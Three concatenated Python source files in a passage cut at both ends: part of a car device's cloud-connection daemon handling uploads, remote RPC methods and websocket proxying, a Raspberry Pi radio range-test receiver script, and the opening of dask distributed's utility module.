upload_queue.get(timeout=1)._replace(current=True) if cur_upload_items[tid].id in cancelled_uploads: cancelled_uploads.remove(cur_upload_items[tid].id) continue try: def cb(sz, cur): cur_upload_items[tid] = cur_upload_items[tid]._replace(progress=cur / sz if sz else 1) _do_upload(cur_upload_items[tid], cb) except (requests.exceptions.Timeout, requests.exceptions.ConnectionError, requests.exceptions.SSLError) as e: cloudlog.warning(f"athena.upload_handler.retry {e} {cur_upload_items[tid]}") if cur_upload_items[tid].retry_count < MAX_RETRY_COUNT: item = cur_upload_items[tid] item = item._replace( retry_count=item.retry_count + 1, progress=0, current=False ) upload_queue.put_nowait(item) cur_upload_items[tid] = None for _ in range(RETRY_DELAY): time.sleep(1) if end_event.is_set(): break except queue.Empty: pass except Exception: cloudlog.exception("athena.upload_handler.exception") def _do_upload(upload_item, callback=None): with open(upload_item.path, "rb") as f: size = os.fstat(f.fileno()).st_size if callback: f = CallbackReader(f, callback, size) return requests.put(upload_item.url, data=f, headers={**upload_item.headers, 'Content-Length': str(size)}, timeout=30) # security: user should be able to request any message from their car @dispatcher.add_method def getMessage(service=None, timeout=1000): if service is None or service not in service_list: raise Exception("invalid service") socket = messaging.sub_sock(service, timeout=timeout) ret = messaging.recv_one(socket) if ret is None: raise TimeoutError return ret.to_dict() @dispatcher.add_method def getVersion(): return { "version": get_version(), "remote": get_git_remote(), "branch": get_git_branch(), "commit": get_git_commit(), } @dispatcher.add_method def setNavDestination(latitude=0, longitude=0): destination = { "latitude": latitude, "longitude": longitude, } Params().put("NavDestination", json.dumps(destination)) return {"success": 1} def scan_dir(path, prefix): files = list() # only walk directories that match the prefix # (glob and friends traverse entire dir tree) with os.scandir(path) as i: for e in i: rel_path = os.path.relpath(e.path, ROOT) if e.is_dir(follow_symlinks=False): # add trailing slash rel_path = os.path.join(rel_path, '') # if prefix is a partial dir name, current dir will start with prefix # if prefix is a partial file name, prefix with start with dir name if rel_path.startswith(prefix) or prefix.startswith(rel_path): files.extend(scan_dir(e.path, prefix)) else: if rel_path.startswith(prefix): files.append(rel_path) return files @dispatcher.add_method def listDataDirectory(prefix=''): return scan_dir(ROOT, prefix) @dispatcher.add_method def reboot(): sock = messaging.sub_sock("deviceState", timeout=1000) ret = messaging.recv_one(sock) if ret is None or ret.deviceState.started: raise Exception("Reboot unavailable") def do_reboot(): time.sleep(2) HARDWARE.reboot() threading.Thread(target=do_reboot).start() return {"success": 1} @dispatcher.add_method def uploadFileToUrl(fn, url, headers): if len(fn) == 0 or fn[0] == '/' or '..' in fn: return 500 path = os.path.join(ROOT, fn) if not os.path.exists(path): return 404 item = UploadItem(path=path, url=url, headers=headers, created_at=int(time.time() * 1000), id=None) upload_id = hashlib.sha1(str(item).encode()).hexdigest() item = item._replace(id=upload_id) upload_queue.put_nowait(item) return {"enqueued": 1, "item": item._asdict()} @dispatcher.add_method def listUploadQueue(): items = list(upload_queue.queue) + list(cur_upload_items.values()) return [i._asdict() for i in items if (i is not None) and (i.id not in cancelled_uploads)] @dispatcher.add_method def cancelUpload(upload_id): upload_ids = set(item.id for item in list(upload_queue.queue)) if upload_id not in upload_ids: return 404 cancelled_uploads.add(upload_id) return {"success": 1} @dispatcher.add_method def primeActivated(activated): dongle_id = Params().get("DongleId", encoding='utf-8') api = Api(dongle_id) manage_tokens(api) return {"success": 1} def startLocalProxy(global_end_event, remote_ws_uri, local_port): try: if local_port not in LOCAL_PORT_WHITELIST: raise Exception("Requested local port not whitelisted") cloudlog.debug("athena.startLocalProxy.starting") params = Params() dongle_id = params.get("DongleId").decode('utf8') identity_token = Api(dongle_id).get_token() ws = create_connection(remote_ws_uri, cookie="jwt=" + identity_token, enable_multithread=True) ssock, csock = socket.socketpair() local_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) local_sock.connect(('127.0.0.1', local_port)) local_sock.setblocking(0) proxy_end_event = threading.Event() threads = [ threading.Thread(target=ws_proxy_recv, args=(ws, local_sock, ssock, proxy_end_event, global_end_event)), threading.Thread(target=ws_proxy_send, args=(ws, local_sock, csock, proxy_end_event)) ] for thread in threads: thread.start() cloudlog.debug("athena.startLocalProxy.started") return {"success": 1} except Exception as e: cloudlog.exception("athenad.startLocalProxy.exception") raise e @dispatcher.add_method def getPublicKey(): if not os.path.isfile(PERSIST + '/comma/id_rsa.pub'): return None with open(PERSIST + '/comma/id_rsa.pub', 'r') as f: return f.read() @dispatcher.add_method def getSshAuthorizedKeys(): return Params().get("GithubSshKeys", encoding='utf8') or '' @dispatcher.add_method def getSimInfo(): return HARDWARE.get_sim_info() @dispatcher.add_method def getNetworkType(): return HARDWARE.get_network_type() @dispatcher.add_method def getNetworks(): return HARDWARE.get_networks() @dispatcher.add_method def takeSnapshot(): from selfdrive.camerad.snapshot.snapshot import snapshot, jpeg_write ret = snapshot() if ret is not None: def b64jpeg(x): if x is not None: f = io.BytesIO() jpeg_write(f, x) return base64.b64encode(f.getvalue()).decode("utf-8") else: return None return {'jpegBack': b64jpeg(ret[0]), 'jpegFront': b64jpeg(ret[1])} else: raise Exception("not available while camerad is started") def get_logs_to_send_sorted(): # TODO: scan once then use inotify to detect file creation/deletion curr_time = int(time.time()) logs = [] for log_entry in os.listdir(SWAGLOG_DIR): log_path = os.path.join(SWAGLOG_DIR, log_entry) try: time_sent = int.from_bytes(getxattr(log_path, LOG_ATTR_NAME), sys.byteorder) except (ValueError, TypeError): time_sent = 0 # assume send failed and we lost the response if sent more than one hour ago if not time_sent or curr_time - time_sent > 3600: logs.append(log_entry) # excluding most recent (active) log file return sorted(logs)[:-1] def log_handler(end_event): if PC: return log_files = [] last_scan = 0 while not end_event.is_set(): try: curr_scan = sec_since_boot() if curr_scan - last_scan > 10: log_files = get_logs_to_send_sorted() last_scan = curr_scan # send one log curr_log = None if len(log_files) > 0: log_entry = log_files.pop() # newest log file cloudlog.debug(f"athena.log_handler.forward_request {log_entry}") try: curr_time = int(time.time()) log_path = os.path.join(SWAGLOG_DIR, log_entry) setxattr(log_path, LOG_ATTR_NAME, int.to_bytes(curr_time, 4, sys.byteorder)) with open(log_path, "r") as f: jsonrpc = { "method": "forwardLogs", "params": { "logs": f.read() }, "jsonrpc": "2.0", "id": log_entry } log_send_queue.put_nowait(json.dumps(jsonrpc)) curr_log = log_entry except OSError: pass # file could be deleted by log rotation # wait for response up to ~100 seconds # always read queue at least once to process any old responses that arrive for _ in range(100): if end_event.is_set(): break try: log_resp = json.loads(log_recv_queue.get(timeout=1)) log_entry = log_resp.get("id") log_success = "result" in log_resp and log_resp["result"].get("success") cloudlog.debug(f"athena.log_handler.forward_response {log_entry} {log_success}") if log_entry and log_success: log_path = os.path.join(SWAGLOG_DIR, log_entry) try: setxattr(log_path, LOG_ATTR_NAME, LOG_ATTR_VALUE_MAX_UNIX_TIME) except OSError: pass # file could be deleted by log rotation if curr_log == log_entry: break except queue.Empty: if curr_log is None: break except Exception: cloudlog.exception("athena.log_handler.exception") def ws_proxy_recv(ws, local_sock, ssock, end_event, global_end_event): while not (end_event.is_set() or global_end_event.is_set()): try: data = ws.recv() local_sock.sendall(data) except WebSocketTimeoutException: pass except Exception: cloudlog.exception("athenad.ws_proxy_recv.exception") break cloudlog.debug("athena.ws_proxy_recv closing sockets") ssock.close() local_sock.close() cloudlog.debug("athena.ws_proxy_recv done closing sockets") end_event.set() def ws_proxy_send(ws, local_sock, signal_sock, end_event): while not end_event.is_set(): try: r, _, _ = select.select((local_sock, signal_sock), (), ()) if r: if r[0].fileno() == signal_sock.fileno(): # got end signal from ws_proxy_recv end_event.set() break data = local_sock.recv(4096) if not data: # local_sock is dead end_event.set() break ws.send(data, ABNF.OPCODE_BINARY) except Exception: cloudlog.exception("athenad.ws_proxy_send.exception") end_event.set() cloudlog.debug("athena.ws_proxy_send closing sockets") signal_sock.close() cloudlog.debug("athena.ws_proxy_send done closing sockets") def ws_recv(ws, end_event): last_ping = int(sec_since_boot() * 1e9) while not end_event.is_set(): try: opcode, data = ws.recv_data(control_frame=True) if opcode in (ABNF.OPCODE_TEXT, ABNF.OPCODE_BINARY): if opcode == ABNF.OPCODE_TEXT: data = data.decode("utf-8") recv_queue.put_nowait(data) elif opcode == ABNF.OPCODE_PING: last_ping = int(sec_since_boot() * 1e9) Params().put("LastAthenaPingTime", str(last_ping)) except WebSocketTimeoutException: ns_since_last_ping = int(sec_since_boot() * 1e9) - last_ping if ns_since_last_ping > RECONNECT_TIMEOUT_S * 1e9: cloudlog.exception("athenad.ws_recv.timeout") end_event.set() except Exception: cloudlog.exception("athenad.ws_recv.exception") end_event.set() def ws_send(ws, end_event): while not end_event.is_set(): try: try: data = send_queue.get_nowait() except queue.Empty: data = log_send_queue.get(timeout=1) for i in range(0, len(data), WS_FRAME_SIZE): frame = data[i:i+WS_FRAME_SIZE] last = i + WS_FRAME_SIZE >= len(data) opcode = ABNF.OPCODE_TEXT if i == 0 else ABNF.OPCODE_CONT ws.send_frame(ABNF.create_frame(frame, opcode, last)) except queue.Empty: pass except Exception: cloudlog.exception("athenad.ws_send.exception") end_event.set() def backoff(retries): return random.randrange(0, min(128, int(2 ** retries))) def manage_tokens(api): if not TICI: return try: params = Params() mapbox = api.get(f"/v1/tokens/mapbox/{api.dongle_id}/", timeout=5.0, access_token=api.get_token()) if mapbox.status_code == 200: params.put("MapboxToken", mapbox.json()["token"]) else: params.delete("MapboxToken") except Exception: cloudlog.exception("Failed to update tokens") def main(): params = Params() dongle_id = params.get("DongleId", encoding='utf-8') ws_uri = ATHENA_HOST + "/ws/v2/" + dongle_id api = Api(dongle_id) conn_retries = 0 while 1: try: cloudlog.event("athenad.main.connecting_ws", ws_uri=ws_uri) ws = create_connection(ws_uri, cookie="jwt=" + api.get_token(), enable_multithread=True, timeout=30.0) cloudlog.event("athenad.main.connected_ws", ws_uri=ws_uri) params.delete("PrimeRedirected") manage_tokens(api) conn_retries = 0 cur_upload_items.clear() handle_long_poll(ws) except (KeyboardInterrupt, SystemExit): break except (ConnectionError, TimeoutError, WebSocketException): conn_retries += 1 params.delete("PrimeRedirected") params.delete("LastAthenaPingTime") except socket.timeout: try: r = requests.get(API_HOST + "/v1/me", allow_redirects=False, headers={"User-Agent": f"openpilot-{version}"}, timeout=15.0) if r.status_code == 302 and r.headers['Location'].startswith("http://u.web2go.com"): params.put_bool("PrimeRedirected", True) except Exception: cloudlog.exception("athenad.socket_timeout.exception") params.delete("LastAthenaPingTime") except Exception: cloudlog.exception("athenad.main.exception") conn_retries += 1 params.delete("PrimeRedirected") params.delete("LastAthenaPingTime") time.sleep(backoff(conn_retries)) if __name__ == "__main__": main()
experiment_rx_push_b.py
""" Reception script of the range test. \ author Jonathan Munoz (jonathan.munoz@inria.fr), January 2017 """ import time import sys import logging import threading import Queue import json from datetime import datetime as dt import datetime import socket from threading import Timer import at86rf215_defs as defs import at86rf215_driver as radio import GpsThread as gps import gpio_handler as gpio PACKET_LENGTH = 2047 CRC_SIZE = 4 SECURITY_TIME = 3 # 5 seconds to give more time to TRX to complete the 400 frame bursts. START_OFFSET = 1 # 1 second after the starting time arrives. FCS_VALID = 1 FRAME_MINIMUM_SIZE = 123 MODEM_SUB_GHZ = 0 MODEM_2GHZ = 1 FRAME_COUNT = 1000 class LoggerRx(threading.Thread): def __init__(self, queue, settings): # store parameters self.queue = queue self.settings = settings # local variables self.rx_string = ['!' for i in range(len(self.settings['frame_lengths_15.4g'])*self.settings[ 'numframes'])] self.rssi_values = [None for i in range(len(self.settings['frame_lengths_15.4g'])*self.settings[ 'numframes'])] self.name_file = '/home/pi/range_test_outdoors/experiments_results_' + \ socket.gethostname() + '.json' self.results = {'type': 'end_of_cycle_rx', 'start_time_str': time.strftime( "%a, %d %b %Y %H:%M:%S UTC", time.gmtime()), 'start_time_epoch': time.time(), 'version': self.settings[ 'version'], 'position_description': None, 'radio_settings': None, 'rx_frames_count': 0, 'RSSI_by_length': None, 'rx_string': None, 'GPSinfo_at_start': None, 'channel': None, 'frequency_0': None, 'burst_size': self.settings['numframes'], 'id': socket.gethostname(), 'rx_frames_wrong_fcs_count': 0, 'rx_frames_wrong_fcs_sequence_number': []} # start the thread threading.Thread.__init__(self) self.name = 'LoggerRx' self.daemon = True self.start() def run(self): """ analyses the frames received by the radio that are put in the logger queue. It stars filling the results of the current experiment. :return: """ while True: item = self.queue.get() if item == 'Start': if self.results['radio_settings']: # to know if this is the first time I pass in the logger self._print_results() # print to log file pass self.rx_string = ['!' for i in range(len(self.settings['frame_lengths_15.4g']) * self.settings['numframes'])] self.rssi_values = [None for i in range(len(self.settings['frame_lengths_15.4g']) * self.settings['numframes'])] self.results['rx_frames_count'] = 0 self.results['start_time_str'] = time.strftime("%a, %d %b %Y %H:%M:%S UTC", time.gmtime()) self.results['start_time_epoch'] = time.time() self.results['rx_frames_wrong_fcs_count'] = 0 self.results['rx_frames_wrong_fcs_sequence_number'] = [] self.results['rx_frames_wrong'] = [] elif type(item) is tuple: # verify size of the tuple if len(item) == 4: if item[2] is FCS_VALID: # check frame correctness. if len(item[0]) > FRAME_MINIMUM_SIZE: try: if item[0][0] * 256 + item[0][1] < FRAME_COUNT and (item[0][2], item[0][3]) == (0x00, 0x01): self.rx_string[item[0][0] * 256 + item[0][1]] = '.' self.rssi_values[item[0][0] * 256 + item[0][1]] = float(item[1]) self.results['rx_frames_count'] += 1 else: # logging.warning('UNKNOWN ITEM (frame_rcv, rssi, crc, mcs): {0}'.format(item)) logging.warning('.....') except IndexError as err: logging.warning('item: {0}'.format(item)) logging.warning('frame not sent within the experiment, unknown sender') logging.warning(err) else: try: self.results['rx_frames_wrong_fcs_sequence_number'].append(item[0][0] * 256 + item[0][1]) # uncomment if you want to save the wrong frames. Takes a lot of CPU power. # self.results['rx_frames_wrong'].append(item[0]) except IndexError as err: logging.warning('UNKNOWN: {0}'.format(item)) logging.warning(err) self.results['rx_frames_wrong_fcs_count'] += 1 # Frame received but wrong. else: logging.error('UNKNOWN OBJECT IN THE QUEUE: {0}'.format(item)) elif item == 'Print last': # self._print_results() self.results['radio_settings'] = None # by doing this I won't print twice the last set of settings. elif type(item) == float: logging.info('TIME: {0}'.format(item)) elif type(item) is dict: if item.get('frequency_0_kHz') is not None: self.results['frequency_0'] = item['frequency_0_kHz'] self.results['channel'] = item['channel'] self.results['radio_settings'] = item['modulation'] else: self.results['GPSinfo_at_start'] = item else: logging.error('UNKNOWN ITEM IN THE QUEUE: {0}'.format(item)) # ====================== private ========================================= def _print_results(self): """ it will print the results of the previous experiment in the output file :return: """ self._rx_frames_psize() with open(self.name_file, 'a') as f: f.write(json.dumps(self.results.copy())+'\n') def _rx_frames_psize(self): # TODO: fix this shit """ It assigns the values to the result dictionary by separating the burst of 400 frames into 4 groups of 100 frames each, knowing the first 100 correspond to 8 bytes long, 100-199 frames number correspond to 127 bytes long, 200-299 to 1000 bytes long and 300-399 to 2047 bytes long. Also assigns the RSSI average value during the experiment and the modulation used. :returns: Nothing """ self.results['RSSI_by_length'] = { '127': self.rssi_values[0:self.settings['numframes']], '2047': self.rssi_values[self.settings['numframes']:2*self.settings['numframes']] }, self.results['rx_string'] = { '127': ''.join(self.rx_string[0:self.settings['numframes']]), '2047': ''.join(self.rx_string[self.settings['numframes']:2*self.settings['numframes']]) } # ============================== public ======================================= # ============================================================================= class ExperimentRx(threading.Thread): def __init__(self, settings): # local variables self.settings = settings self.f_reset_button = False self.hours = 0 self.minutes = 0 self.queue_rx = Queue.Queue() self.started_time = None self.time_next_experiment = START_OFFSET self.radio_isr_pin = 11 self.push_button_pin = 13 self.led_array_pins = [29, 31, 33, 35, 37] self.TRX_frame_pin = [36] self.time_to_start = None self.f_start_signal_LED = False self.led_start_indicator = None self.experiment_counter = 0 self.experiment_scheduled = None self.experiment_rx_thread = None self.f_push_button = False self.modem_base_band_state = MODEM_SUB_GHZ # FIXME change this name variable self.dataLock = threading.RLock() self.f_reset = threading.Event() self.start_experiment = threading.Event() self.f_reset.clear() self.start_experiment.clear() self.radio_driver = None self.gps = None self.LoggerRx = None self.gpio_handler = None # start all the drivers self._gps_init() # logging.info('radio setup') self._radio_setup() # logging.info('logger init') self._logger_init() # logging.info('gpio handler init') self._gpio_handler_init() # logging.info('radio init') self._radio_init() # start the thread threading.Thread.__init__(self) self.name = 'ExperimentRx_' self.daemon = True self.start() # ========================== private ========================================= def _radio_setup(self): """ it initialises the radio driver, it loads the callback for the RX :return: """ # initialize the radio driver and the spi interface self.radio_driver = radio.At86rf215(self._cb_rx_frame, self.modem_base_band_state) self.radio_driver.spi_init() def _radio_init(self): self.radio_driver.radio_reset() self.radio_driver.read_isr_source() # no functional role, just clear the pending interrupt flag def _gps_init(self): # start the gps thread self.gps = gps.GpsThread() # waiting until the GPS time is valid logging.info('waiting for valid GPS time...') while self.gps.is_gps_time_valid() is False: time.sleep(1) logging.info('... time valid') logging.info('out of GPS init') def _logger_init(self): # initializes the LoggerRx thread self.LoggerRx = LoggerRx(self.queue_rx, self.settings) def _gpio_handler_init(self): self.gpio_handler = gpio.GPIO_handler(self.radio_isr_pin, self.push_button_pin, self.radio_driver.cb_radio_isr, self._cb_push_button) self.gpio_handler.init_binary_pins(self.led_array_pins) self.gpio_handler.init_binary_pins(self.TRX_frame_pin) for led in self.led_array_pins: self.gpio_handler.led_off(led) self.gpio_handler.led_off(self.TRX_frame_pin) def _start_time_experiment(self): """ it sets the next runtime for the whole experiment sequence in hours, minutes current_time[3] = hours, current_time[4] = minutes, current_time[5] = seconds :return: hours, minutes """ current_time = time.gmtime() if current_time[5] < 50: if current_time[4] is not 59: new_time = current_time[3], current_time[4] + 1 else: new_time = (current_time[3] + 1) % 24, 0 else: if current_time[4] is 59: new_time = (current_time[3] + 1) % 24, 1 else: new_time = current_time[3], current_time[4] + 2 return new_time def _stop_exp(self): """ it makes print the last modulation results """ self.queue_rx.put('Print last') def _led_start_experiment_signal(self): """ it lights on a LED if the experiment will take place in the next minute it uses the frame receive LED to indicate whether the experiment is going to start the next minute or not. :return: """ logging.debug('entering led_start_experiment_signal') while not self.f_start_signal_LED: now = time.gmtime() if self.minutes - now[4] == 1 or self.minutes - now[4] == -59: logging.info('SWITCHING LIGHT UP led_start_experiment_signal') self.gpio_handler.led_on(self.TRX_frame_pin) self.f_start_signal_LED = True continue time.sleep(1) self.f_start_signal_LED = False logging.debug('OUTING led_start_experiment_signal') def _led_end_experiment_signal(self): i = 0 for led in self.led_array_pins: self.gpio_handler.led_off(led) while i < 20 and not self.f_push_button: for led in self.led_array_pins: self.gpio_handler.led_toggle(led) time.sleep(1) i += 1 def _execute_experiment_rx(self, item): logging.info('start time RX 1000 : {0}'.format(time.time())) logging.debug('item to configure the radio: {0}'.format(item)) self.radio_driver.radio_off_2_4ghz() self.radio_driver.radio_off() self.f_push_button = False logging.debug('entering execute_experiment_rx, time: {0}'.format(time.time())) self.radio_driver.radio_reset() self.gpio_handler.led_off(self.TRX_frame_pin) self.gpio_handler.binary_counter(0, self.led_array_pins) # the radio configuration is the same procedure, despite modem or frequency band self.radio_driver.radio_write_config(defs.modulations_settings[item['modulation']]) if item['modem'] == 'subGHz': self.modem_base_band_state = MODEM_SUB_GHZ self.radio_driver.radio_set_frequency((item['channel_spacing_kHz'], item['frequency_0_kHz'], item['channel'])) # put the radio into RX mode logging.info('LISTENING IN 863MHz') self.radio_driver.radio_trx_enable() logging.debug('putting radio to listen!') self.radio_driver.radio_rx_now() logging.debug('RADIO STATE: {0}'.format(self.radio_driver.check_radio_state_rf09())) logging.debug('radio listening!') else: # logging.debug('LEGACY set up') self.modem_base_band_state = MODEM_2GHZ self.radio_driver.radio_set_frequency_2_4ghz((item['channel_spacing_kHz'], item['frequency_0_kHz'], item['channel'])) # put the radio into RX mode logging.info('LISTENING IN 2.4GHz') self.radio_driver.radio_trx_enable_2_4ghz() logging.debug('putting radio to listen!') self.radio_driver.radio_rx_now_2_4ghz() logging.debug('RADIO STATE: {0}'.format(self.radio_driver.check_radio_state_rf24())) logging.debug('radio listening!') self.gpio_handler.binary_counter(item['index'], self.led_array_pins) logging.info('modulation: {0}, channel: {1}'.format(item["modulation"], item["channel"])) # sends the signal to the logger class through queue, letting it know a new experiment just started. self.queue_rx.put('Start') # sends the config to the logger class through queue self.queue_rx.put(item) self.queue_rx.put(time.time()) def run(self): # setup the radio # self._radio_setup() logging.info('current thread: {0}'.format(threading.current_thread())) logging.info('WAITING FOR THE START BUTTON TO BE PRESSED') # push button signal self.start_experiment.wait() self.start_experiment.clear() while True: # gets current time and determines the running time for the experiment to start self.started_time = time.time() self.hours, self.minutes = self._start_time_experiment() self.time_to_start = dt.combine(dt.now(), datetime.time(self.hours, self.minutes)) self.radio_driver.radio_off() self.gpio_handler.led_off(self.TRX_frame_pin) self.gpio_handler.binary_counter(0, self.led_array_pins) self.experiment_counter = 0 self.experiment_scheduled = Timer( time.mktime(self.time_to_start.timetuple()) + START_OFFSET - time.time(), self._experiment_scheduling, ()) self.experiment_scheduled.start() logging.info('time left for the experiment to start: {0}'.format(time.mktime(self.time_to_start.timetuple()) + START_OFFSET - time.time())) logging.info('time to start experiment: {0}'.format(self.time_to_start.timetuple())) self.led_start_indicator = threading.Thread(target=self._led_start_experiment_signal) self.led_start_indicator.start() self.led_start_indicator.name = 'RX start led signal' logging.info('Experiment loaded') logging.info('current thread: {0}'.format(threading.current_thread())) logging.info('thread enumerate: {0}'.format(threading.enumerate())) self.f_reset.wait() self.f_reset.clear() logging.info('reset button pressed') # ========================= callbacks ===================================== def _cb_push_button(self, channel = 13): logging.info('PUSH BUTTON PRESSED') # pass self.gpio_handler.clear_cb(13) # switch on all leds to let the user know the push button has been pressed and it got the signal. self.gpio_handler.binary_counter(31, self.led_array_pins) if not self.f_reset_button: with self.dataLock: self.start_experiment.set() self.f_reset_button = True logging.info('START BUTTON PRESSED') else: with self.dataLock: # self.end_experiment.set() # self.f_schedule.set() logging.warning('RESET BUTTON PRESSED') self.f_reset.set() # self.f_cancel_exp = True # self.experiment_scheduled.cancel() logging.info('f_reset set to true?: {0}'.format(self.f_reset.isSet())) # sys.exit(0) time.sleep(5) self.gpio_handler.add_cb(self._cb_push_button, self.push_button_pin) def _cb_rx_frame(self, frame_rcv, rssi, crc, mcs): self.gpio_handler.led_toggle(self.TRX_frame_pin) # self.count_frames_rx += 1 self.queue_rx.put((frame_rcv, rssi, crc, mcs)) logging.debug('counter frame received: {0} , RSSI: {1}, MCS: {2}, length: {3}' .format(frame_rcv[:2], rssi, mcs, len(frame_rcv))) # re-arm the radio in RX mode if self.modem_base_band_state == MODEM_2GHZ: self.radio_driver.radio_rx_now_2_4ghz() else: self.radio_driver.radio_rx_now() def _experiment_scheduling(self): logging.info('current thread in the scheduling: {0}'.format(threading.current_thread())) self.time_next_experiment = self.settings['test_settings'][self.experiment_counter % len( self.settings['test_settings'])]['durationtx_s'] + SECURITY_TIME logging.info('time of next experiment {0}, setting: {1}'.format(self.time_next_experiment, self.settings[ 'test_settings'][self.experiment_counter % len(self.settings['test_settings'])]['modulation'])) self.experiment_scheduled = Timer(self.time_next_experiment, self._experiment_scheduling, ()) self.experiment_scheduled.start() self._execute_experiment_rx(self.settings['test_settings'][self.experiment_counter % len( self.settings['test_settings'])]) self.experiment_counter += 1 # ============================ public ======================================== def getStats(self): # logging.warning('Results ongoing {0}'.format(self.LoggerRx.results)) logging.warning('TO IMPLEMENT') # ========================== main ============================================= def load_experiment_details(): with open('/home/pi/range_test/raspberry/experiment_settings_outdoors_range_test.json', 'r') as f: settings = f.read().replace('\n', ' ').replace('\r', '') settings = json.loads(settings) return settings def main(): f_start = False logging.basicConfig(stream=sys.__stdout__, level=logging.INFO) logging.info('PROGRAM STARTING...') experimentRx = ExperimentRx(load_experiment_details()) experimentRx.f_reset.wait() logging.info('PROGRAM FINISHING...') experimentRx.f_reset.clear() experimentRx.gpio_handler.clean_gpio() sys.exit(0) logging.warning('......THIS LINE SHOULD NEVER BE READ...') # while True: # # for item in # input = raw_input('>') # if input == 's': # if not f_start: # f_start = True # logging.info('PROGRAM STARTING...') # # experimentRx = ExperimentRx(load_experiment_details()) # logging.info('PROGRAM RUNNING') # else: # logging.info('PROGRAM ALREADY STARTED') # elif input == 'q': # if f_start: # experimentRx.gpio_handler.clean_gpio() # sys.exit(0) if __name__ == '__main__': main()
utils.py
import asyncio from asyncio import TimeoutError import atexit from collections import deque, OrderedDict, UserDict from concurrent.futures import ThreadPoolExecutor from contextlib import contextmanager import functools from hashlib import md5 import html import inspect import json import logging import multiprocessing import os import re import shutil import socket from time import sleep import importlib from importlib.util import cache_from_source import inspect import sys import tempfile import threading import warnings import weakref import pkgutil import base64 import tblib.pickling_support import xml.etree.ElementTree try: import resource except ImportError: resource = None import dask from dask import istask # provide format_bytes here for backwards compatibility from dask.utils import ( # noqa format_bytes, funcname, format_time, parse_bytes, parse_timedelta, ) import toolz import tornado from tornado import gen from tornado.ioloop import IOLoop try: from tornado.ioloop import PollIOLoop except ImportError: PollIOLoop = None # dropped in tornado 6.0 from .compatibility import PYPY, WINDOWS, get_running_loop from .metrics import time try: from dask.context import thread_state except ImportError: thread_state = threading.local() logger = _logger = logging.getLogger(__name__) no_default = "__no_default__" def _initialize_mp_context(): if WINDOWS or PYPY: return multiprocessing else: method = dask.config.get("distributed.worker.multiprocessing-method") ctx = multiprocessing.get_context(method) # Makes the test suite much faster preload = ["distributed"] if "pkg_resources" in sys.modules: preload.append("pkg_resources") from .versions import required_packages, optional_packages for pkg, _ in required_packages + optional_packages: try: importlib.import_module(pkg) except ImportError: pass else: preload.append(pkg) ctx.set_forkserver_preload(preload) return ctx mp_context = _initialize_mp_context() def has_arg(func, argname): """ Whether the function takes an argument with the given name. """ while True: try: if argname in inspect.getfullargspec(func).args: return True except TypeError: break try: # For Tornado coroutines and other decorated functions func = func.__wrapped__ except AttributeError: break return False def get_fileno_limit(): """ Get the maximum number of open files per process. """ if resource is not None: return resource.getrlimit(resource.RLIMIT_NOFILE)[0] else: # Default ceiling for Windows when using the CRT, though it # is settable using _setmaxstdio(). return 512 @toolz.memoize def _get_ip(host, port, family): # By using a UDP socket, we don't actually try to connect but # simply select the local address through which *host* is reachable. sock = socket.socket(family, socket.SOCK_DGRAM) try: sock.connect((host, port)) ip = sock.getsockname()[0] return ip except EnvironmentError as e: # XXX Should first try getaddrinfo() on socket.gethostname() and getfqdn() warnings.warn( "Couldn't detect a suitable IP address for " "reaching %r, defaulting to hostname: %s" % (host, e), RuntimeWarning, ) return socket.gethostname() finally: sock.close() def get_ip(host="8.8.8.8", port=80): """ Get the local IP address through which the *host* is reachable. *host* defaults to a well-known Internet host (one of Google's public DNS servers). """ return _get_ip(host, port, family=socket.AF_INET) def get_ipv6(host="2001:4860:4860::8888", port=80): """ The same as get_ip(), but for IPv6. """ return _get_ip(host, port, family=socket.AF_INET6) def get_ip_interface(ifname): """ Get the local IPv4 address of a network interface. KeyError is raised if the interface doesn't exist. ValueError is raised if the interface does no have an IPv4 address associated with it. """ import psutil net_if_addrs = psutil.net_if_addrs() if ifname not in net_if_addrs: allowed_ifnames = list(net_if_addrs.keys()) raise ValueError( "{!r} is not a valid network interface. " "Valid network interfaces are: {}".format(ifname, allowed_ifnames) ) for info in net_if_addrs[ifname]: if info.family == socket.AF_INET: return info.address raise ValueError("interface %r doesn't have an IPv4 address" % (ifname,)) @contextmanager def ignoring(*exceptions): try: yield except exceptions as e: pass @gen.coroutine def ignore_exceptions(coroutines, *exceptions): """ Process list of coroutines, ignoring certain exceptions >>> coroutines = [cor(...) for ...] # doctest: +SKIP >>> x = yield ignore_exceptions(coroutines, TypeError) # doctest: +SKIP """ wait_iterator = gen.WaitIterator(*coroutines) results = [] while not wait_iterator.done(): with ignoring(*exceptions): result = yield wait_iterator.next() results.append(result) raise gen.Return(results) async def All(args, quiet_exceptions=()): """ Wait on many tasks at the same time Err once any of the tasks err. See https://github.com/tornadoweb/tornado/issues/1546 Parameters ---------- args: futures to wait for quiet_exceptions: tuple, Exception Exception types to avoid logging if they fail """ tasks = gen.WaitIterator(*map(asyncio.ensure_future, args)) results = [None for _ in args] while not tasks.done(): try: result = await tasks.next() except Exception: @gen.coroutine def quiet(): """ Watch unfinished tasks Otherwise if they err they get logged in a way that is hard to control. They need some other task to watch them so that they are not orphaned """ for task in list(tasks._unfinished): try: yield task except quiet_exceptions: pass quiet() raise results[tasks.current_index] = result return results async def Any(args, quiet_exceptions=()): """ Wait on many tasks at the same time and return when any is finished Err once any of the tasks err. Parameters ---------- args: futures to wait for quiet_exceptions: tuple, Exception Exception types to avoid logging if they fail """ tasks = gen.WaitIterator(*map(asyncio.ensure_future, args)) results = [None for _ in args] while not tasks.done(): try: result = await tasks.next() except Exception: @gen.coroutine def quiet(): """ Watch unfinished tasks Otherwise if they err they get logged in a way that is hard to control. They need some other task to watch them so that they are not orphaned """ for task in list(tasks._unfinished): try: yield task except quiet_exceptions: pass quiet() raise results[tasks.current_index] = result break return results def sync(loop, func, *args, callback_timeout=None, **kwargs): """ Run coroutine in loop running in separate thread. """ # Tornado's PollIOLoop doesn't raise when using closed, do it ourselves if PollIOLoop and ( (isinstance(loop, PollIOLoop) and getattr(loop, "_closing", False)) or (hasattr(loop, "asyncio_loop") and loop.asyncio_loop._closed) ): raise RuntimeError("IOLoop is closed") try: if loop.asyncio_loop.is_closed(): # tornado 6 raise RuntimeError("IOLoop is closed") except AttributeError: pass e = threading.Event() main_tid = threading.get_ident() result = [None] error = [False] @gen.coroutine def f(): try: if main_tid == threading.get_ident(): raise RuntimeError("sync() called from thread of running loop") yield gen.moment thread_state.asynchronous = True future = func(*args, **kwargs) if callback_timeout is not None: future = asyncio.wait_for(future, callback_timeout) result[0] = yield future except Exception as exc: error[0] = 